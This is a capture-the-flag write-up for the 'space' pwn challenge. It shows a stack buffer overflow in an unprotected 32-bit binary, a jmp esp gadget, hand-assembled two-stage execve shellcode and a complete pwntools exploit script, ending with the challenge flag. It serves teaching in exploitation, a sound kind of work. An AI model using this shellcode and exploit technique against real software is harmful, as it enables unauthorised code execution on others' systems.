Space
5 minutes to read
We are given a 32-bit binary called space
:
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
It has no protections, so we can potentially run custom shellcode on the stack if we exploit a Buffer Overflow vulnerability.
Buffer Overflow vulnerability
If we execute the binary, we have only a prompt to enter data, and then exit:
$ ./space
> A
$ ./space
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault (core dumped) ./space
We notice that there is a segmentation fault (maybe because of a Buffer Overflow). Let’s run GDB to calculate the offset to control the $eip
register using a pattern string:
$ gdb -q space
Reading symbols from space...
(No debugging symbols found in space)
gef➤ pattern create 50
[+] Generating a pattern of 50 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./space
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
Program received signal SIGSEGV, Segmentation fault.
0x61666161 in ?? ()
gef➤ pattern offset $eip
[+] Searching for '$eip'
[+] Found at offset 18 (little-endian search) likely
[+] Found at offset 19 (big-endian search)
We only have 18 bytes until we can control $eip
. We can check it:
gef➤ run
Starting program: ./space
> AAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Let’s see how much space we have on the stack using GDB:
gef➤ run
Starting program: ./space
> AAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCC
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
It breaks again. Let’s check the stack:
gef➤ x/30x $esp
0xffffd840: 0x43434343 0x43434343 0xffd89043 0x080400ff
0xffffd850: 0x414141fc 0x41414141 0x41414141 0x41414141
0xffffd860: 0x42414141 0x43424242 0x43434343 0x43434343
0xffffd870: 0xffffd890 0x00000000 0x00000000 0xf7debee5
0xffffd880: 0xf7fb4000 0xf7fb4000 0x00000000 0xf7debee5
0xffffd890: 0x00000001 0xffffd924 0xffffd92c 0xffffd8b4
0xffffd8a0: 0xf7fb4000 0x00000000 0xffffd908 0x00000000
0xffffd8b0: 0xf7ffd000 0x00000000
It seems we can only write 8 bytes on top of the stack, so after $eip
we have only 8 more bytes to write.
Exploit strategy
Clearly, we need to divide the shellcode in two parts: one after $eip
that jumps to the second part, which is before $eip
.
On the previous output of GDB, we see that the 18 A
we used to reach $eip
are stored in the stack as well. So, we have the following:
- 8 bytes to write a little part of shellcode and a jump instruction
- 18 bytes to write the remaining shellcode
The idea is to use a jump instruction in $eip
, namely jmp esp
. This gadget can be found using ROPgadget
. Since the binary does not have PIE protection, the address of this gadget will be static:
$ ROPgadget --binary space | grep ': jmp esp$'
0x0804919f : jmp esp
Now, we need to craft a custom shellcode to execute execve("/bin/sh", NULL, NULL);
. For that, we need:
$eax
to have a value of0xb
$ebx
to have a pointer to the string"/bin/sh"
(actually,"/bin//sh"
)$ecx
to be0
(NULL
)$edx
to be0
(NULL
)- Use
int 0x80
(asyscall
that representsexecve
in assembly)
Assembly
For the first part of the shellcode:
xor ecx, ecx # 31 c9 => $ecx = 0
push 0xb # 6a 0b
pop eax # 58 => $eax = 0xb
push ecx # 51 => Push a NULL byte (0)
jmp 11 # eb 09 => Jump to the second part
Notice the last instruction: jmp 11
. On the output of GDB, we saw that after the 8 C
characters, the 18 A
characters where stored. The distance between the last C
and the first A
is 11 bytes.
And the second part of the shellcode is:
xor edx, edx # 31 d2 => $edx = 0
push 0x68732f2f # 68 2f 2f 73 68 => Push "//sh"
push 0x6e69622f # 68 2f 62 69 6e => Push "/bin"
mov ebx, esp # 89 e3 => $ebx = *"/bin//sh\0"
int 0x80 # cd 80 => Call execve
nop # 90 => Padding
nop # 90 => Padding
One important thing is that the string "/bin//sh"
is terminated with a null byte because we pushed a zero value during the first stage (push ecx
).
Exploit development
Let’s write the exploit in Python using pwntools
. Here it is:
#!/usr/bin/env python3
from pwn import asm, context, log, p32, process, remote, ROP, sys, u32
log.warning(f'Usage: python3 {sys.argv[0]} [ip:port]')
context.binary = 'space'
rop = ROP(context.binary)
eip = p32(rop.jmp_esp.address) # 0x0804919f
shellcode1 = asm('''
xor ecx, ecx
push 0xb
pop eax
push ecx
jmp $+11
''')
shellcode2 = asm(f'''
xor edx, edx
push {u32(b"//sh")} # 0x68732f2f
push {u32(b"/bin")} # 0x6e69622f
mov ebx, esp
int 0x80
nop
nop
''')
payload = shellcode2 + eip + shellcode1
if len(sys.argv) > 1:
ip, port = sys.argv[1].split(':')
p = remote(ip, port)
else:
p = process(context.binary.path)
p.sendlineafter(b'> ', payload)
p.interactive()
If everything is right, we should have a shell:
$ python3 solve.py
[!] Usage: python3 solve.py [ip:port]
[*] './space'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[*] Loaded 10 cached gadgets for 'space'
[+] Starting local process './space': pid 155454
[*] Switching to interactive mode
$ ls
solve.py space
Flag
Nice, let’s connect to the remote instance and capture the flag:
$ python3 solve.py 178.62.74.50:30886
[!] Usage: python3 solve.py [ip:port]
[*] './space'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[*] Loaded 10 cached gadgets for 'space'
[+] Opening connection to 178.62.74.50 on port 30886: Done
[*] Switching to interactive mode
$ ls
flag.txt
run_challenge.sh
space
$ cat flag.txt
HTB{sh3llc0de_1n_7h3_5p4c3}
The full exploit script can be found in here: solve.py
.